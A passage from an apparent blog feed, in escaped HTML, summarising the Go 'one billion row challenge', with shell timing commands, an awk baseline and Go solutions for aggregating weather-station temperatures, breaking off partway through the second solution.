&lt;li>&lt;a href="https://medium.com/starbugs/illustrate-how-data-alignment-affects-memory-usage-d29bf9d5bf08" target="_blank" rel="noopener">以 Go 為例，圖解 Data Alignment 如何影響記憶體使用量&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Go 的十億列挑戰：從 1 分 45 秒到 3.4 秒的九種解法</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240708-go-1brc/</link><pubDate>Mon, 08 Jul 2024 09:50:10 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2024/20240708-go-1brc/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://benhoyt.com/writings/go-1brc/" target="_blank" rel="noopener">Go 的十億列挑戰：從 1 分 45 秒到 3.4 秒的九種解法&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/benhoyt/go-1brc" target="_blank" rel="noopener">https://github.com/benhoyt/go-1brc&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="baseline">Baseline&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ time cat measurements.txt &amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>0m1.052s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ time wc measurements.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ae81ff">1000000000&lt;/span> &lt;span style="color:#ae81ff">1179173106&lt;/span> &lt;span style="color:#ae81ff">13795293380&lt;/span> measurements.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>0m55.710s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ time gawk -b -f 1brc.awk measurements.txt &amp;gt;measurements.out
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>7m35.567s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-awk" data-lang="awk">&lt;span style="display:flex;">&lt;span>BEGIN {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FS &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">counts&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>]&lt;span style="color:#f92672">++&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mins&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#a6e22e">mins&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#960050;background-color:#1e0010">?&lt;/span> &lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">:&lt;/span> &lt;span style="color:#a6e22e">mins&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxs&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#f92672">&amp;gt;&lt;/span> &lt;span style="color:#a6e22e">maxs&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#960050;background-color:#1e0010">?&lt;/span> &lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">:&lt;/span> &lt;span style="color:#a6e22e">maxs&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mins&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">maxs&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#75715e"># new entry&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sums&lt;/span>[&lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>] &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#f92672">$&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>END {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">printf&lt;/span> &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">asorti&lt;/span>(&lt;span style="color:#a6e22e">mins&lt;/span>, &lt;span style="color:#a6e22e">sorted&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> (&lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#a6e22e">n&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">sorted&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">mins&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">maxs&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">sums&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#a6e22e">counts&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">printf&lt;/span> &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">&amp;lt;&lt;/span> &lt;span style="color:#a6e22e">n&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">printf&lt;/span> &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">printf&lt;/span> &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-1-simple-and-idiomatic-go">Solution 1: simple and idiomatic Go&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r1: simple, idiomatic Go using bufio.Scanner and strconv.ParseFloat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~1.004s for 10M rows&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bufio&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;strconv&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;strings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r1&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">float64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#a6e22e">stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">scanner&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bufio&lt;/span>.&lt;span style="color:#a6e22e">NewScanner&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Scan&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">line&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">scanner&lt;/span>.&lt;span style="color:#a6e22e">Text&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">tempStr&lt;/span>, &lt;span style="color:#a6e22e">hasSemi&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strings&lt;/span>.&lt;span style="color:#a6e22e">Cut&lt;/span>(&lt;span style="color:#a6e22e">line&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">hasSemi&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">strconv&lt;/span>.&lt;span style="color:#a6e22e">ParseFloat&lt;/span>(&lt;span style="color:#a6e22e">tempStr&lt;/span>, &lt;span style="color:#ae81ff">64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>, &lt;span style="color:#a6e22e">ok&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">ok&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] = &lt;span style="color:#a6e22e">s&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">stationStats&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-2-map-with-pointer-values">Solution 2: map with pointer values&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r2: use stats pointer as map value to avoid double hashing&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~921ms for 10M rows (1.09x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bufio&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;strconv&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;strings&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r2&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">float64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
